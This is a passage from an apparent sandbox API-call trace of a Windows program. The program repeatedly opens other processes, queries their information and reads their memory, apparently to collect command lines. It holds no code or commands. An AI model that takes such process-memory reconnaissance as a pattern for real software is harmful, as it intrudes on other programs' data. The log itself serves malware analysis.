_ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0179.974] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x330 [0179.974] GetLastError () returned 0x0 [0179.974] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0179.974] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x21e018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0179.974] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0179.974] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e1d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0179.975] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc237c1c0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0179.975] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0179.976] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0179.977] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x21e020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0179.977] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0179.977] malloc (_Size=0x7a) returned 0x20abc284f30 [0179.977] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e196a, lpBuffer=0x20abc284f30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0179.978] free (_Block=0x20abc284f30) [0179.978] CloseHandle (hObject=0x330) returned 1 [0179.980] _ui64tow_s (in: _Value=0xe10, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0179.994] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3600") returned 4 [0179.995] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0179.995] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.008] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x330 [0180.008] GetLastError () returned 0x0 [0180.009] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.009] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f1018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.009] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.009] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5c1d90, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.009] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5c18f8, lpBuffer=0x2dc237c1c0, nSize=0x9e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.010] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.011] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.011] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f1020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.011] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5c12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.011] malloc (_Size=0xa6) returned 0x20abc2831b0 [0180.011] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5c1996, lpBuffer=0x20abc2831b0, nSize=0xa4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.013] free (_Block=0x20abc2831b0) [0180.014] CloseHandle (hObject=0x330) returned 1 [0180.014] _ui64tow_s (in: _Value=0xe20, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3616") returned 0x0 [0180.018] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3616") returned 4 [0180.019] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.019] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.111] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe20) returned 0x330 [0180.111] GetLastError () returned 0x0 [0180.112] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.112] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3a6018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.112] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.112] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x461d50, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.112] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4618f8, lpBuffer=0x2dc237c1c0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.113] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.114] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.114] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3a6020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.115] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4612e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.115] malloc (_Size=0x94) returned 0x20abc284f30 [0180.115] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x461984, lpBuffer=0x20abc284f30, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.116] free (_Block=0x20abc284f30) [0180.117] CloseHandle (hObject=0x330) returned 1 [0180.117] _ui64tow_s (in: _Value=0xe28, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0180.121] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3624") returned 4 [0180.122] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.122] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.135] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x330 [0180.135] GetLastError () returned 0x0 [0180.135] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.135] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3af018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.135] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.136] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d1d60, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.136] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc237c1c0, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.137] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.138] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.138] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3af020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.138] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.138] malloc (_Size=0x9a) returned 0x20abc284f30 [0180.138] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d198a, lpBuffer=0x20abc284f30, nSize=0x98, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.139] free (_Block=0x20abc284f30) [0180.140] CloseHandle (hObject=0x330) returned 1 [0180.140] _ui64tow_s (in: _Value=0xe34, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3636") returned 0x0 [0180.144] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3636") returned 4 [0180.145] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.145] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.198] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x330 [0180.198] GetLastError () returned 0x0 [0180.198] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.198] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20e018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.198] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.199] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x541d00, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.199] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5418f8, lpBuffer=0x2dc237c1c0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.200] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.201] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.201] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x20e020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.201] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5412e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.201] malloc (_Size=0x78) returned 0x20abc282120 [0180.201] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x541968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0180.202] free (_Block=0x20abc282120) [0180.203] CloseHandle (hObject=0x330) returned 1 [0180.203] _ui64tow_s (in: _Value=0xe3c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3644") returned 0x0 [0180.207] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3644") returned 4 [0180.208] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.208] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.221] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe3c) returned 0x330 [0180.221] GetLastError () returned 0x0 [0180.222] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.222] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2fd018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.222] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.222] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d1cf0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.222] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc237c1c0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.223] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.224] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.224] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2fd020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.224] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.224] malloc (_Size=0x72) returned 0x20abc2831b0 [0180.224] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d1962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.225] free (_Block=0x20abc2831b0) [0180.226] CloseHandle (hObject=0x330) returned 1 [0180.226] _ui64tow_s (in: _Value=0xe4c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3660") returned 0x0 [0180.230] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3660") returned 4 [0180.231] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.231] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.271] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x330 [0180.271] GetLastError () returned 0x0 [0180.271] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.271] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x275018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.271] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.271] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x151cb0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.272] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1518f8, lpBuffer=0x2dc237c1c0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.272] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.274] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.274] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x275020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.274] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1512e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.274] malloc (_Size=0x60) returned 0x20abc280840 [0180.274] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x151950, lpBuffer=0x20abc280840, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0180.275] free (_Block=0x20abc280840) [0180.275] CloseHandle (hObject=0x330) returned 1 [0180.276] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0180.280] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3676") returned 4 [0180.281] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.281] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.294] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x330 [0180.307] GetLastError () returned 0x0 [0180.307] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.307] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b1018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.308] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.308] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x531cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.308] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5318f8, lpBuffer=0x2dc237c1c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.309] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.310] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.310] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b1020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.310] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5312e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.310] malloc (_Size=0x6a) returned 0x20abc2831b0 [0180.310] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x53195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.311] free (_Block=0x20abc2831b0) [0180.312] CloseHandle (hObject=0x330) returned 1 [0180.312] _ui64tow_s (in: _Value=0xe68, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3688") returned 0x0 [0180.315] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", 